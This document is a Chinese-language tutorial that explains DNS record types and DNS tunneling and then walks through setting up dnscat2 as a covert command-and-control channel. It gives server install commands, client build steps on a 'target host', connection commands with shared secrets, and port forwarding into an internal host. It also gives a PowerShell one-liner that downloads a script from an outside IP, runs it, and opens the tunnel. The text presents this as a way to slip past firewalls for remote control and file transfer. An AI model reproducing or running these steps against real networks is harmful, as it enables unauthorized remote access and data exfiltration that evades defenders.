DNS的一些原理知识
首先,使用浏览器访问一个域名是如下这样的:
- 1.根据域名,进行DNS域名解析;
- 2.拿到解析的IP地址,建立TCP连接;
- 3.向IP地址,发送HTTP请求;
- 4.服务器处理请求;
- 5.返回响应结果;
- 6.关闭TCP连接;
- 7.浏览器解析HTML;
- 8.浏览器布局渲染;
而其中的域名解析环节其实是本地DNS缓存-递归查询-迭代查询迭代和递归三种方式来进行的查询。
其中,DNS还有许多种记录,他们为DNS的使用起到丰富性的作用:
例如A记录:A记录的基本作用就是说明一个域名对应的IP是多少,例如www.123.com——123.123.123.123
还有NS记录:NS记录是指定由哪个DNS服务器解析你的域名,例如你指定8.8.8.8服务器来解析你的域名
A 记录 指定主机名(或域名)对应的IPV4地址记录
AAAA 记录 指定主机名(或域名)对应的IPV6地址记录
NS 记录 指定该域名由哪个DNS服务器来进行解析
MX 记录 指向一个邮件服务器
PTR 记录 将一个IP地址映射到对应的域名,也可以看成是A记录的反向
CNAME 记录 允许将多个名字映射到同一台计算机
TXT 记录 一般指主机名或域名的说明
DNS隧道的原理
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现远程控制,文件传输等操作
DNS隧道分为直连和中继,其中直连就是目标主机之间和外部DNS服务器建立连接,速度也会快很多。中继就是不断在内网进行迭代查询,中间经过多层跳转,速度慢很多,但是也隐蔽很多。
Dnscat2隧道的配置
下载链接
https://downloads.skullsecurity.org/dnscat2/
服务端(VPS):
安装环境(Ruby环境)以及依赖
这里我用更换了阿里云的源(自带的源有问题)
apt-get upgrade
apt-get update
apt-get install libgmp10=2:6.1.0+dfsg-2
apt-get -y install libgmp-dev
apt-get install ruby ruby-dev git make g++ rubygems
gem update --system
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
ruby2.3 dnscat2.rb
如下图所示,服务端安装成功
客户端:(目标主机)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
配置NS记录和A记录
使用
服务端:
ruby2.3 dnscat2.rb ns1.ixxxxq.top —no-cache
之后会给出两种建立连接的方式,第一种是中继,第二种是直连
客户端
建立通信
./dnscat —dns server=x.x.x.x,port=53 —secret=3030224600deebc984a355658725c5d8
./dnscat —secret=3030224600deebc984a355658725c5d8 ns1.ixxqaq.top
这里注意,使用shell命令,会创造一个新的session,还要再进入这个session里才能执行命令
可以开启监听,类似端口转发
listen 127.0.0.1:888 10.0.0.10:22
dnscat+Powershell
https://github.com/lukebaggett/dnscat2-powershell
powershell.exe -nop -c “IEX(New-Object System.Net.Webclient).DownloadString(‘http://81.68.232.47:1111/dnscat2.ps1‘); Start-Dnscat2 -Domain
ns2.iceqaq.top -PreSharedSecret 48f2b80b153f9a54477f8db5170b965a -DNSServer 8.8.8.8”
相关文章
https://www.cnblogs.com/renhaoblog/p/13293078.html
https://www.yuque.com/xiaoxuan-3vnio/nucw6f/crn0pa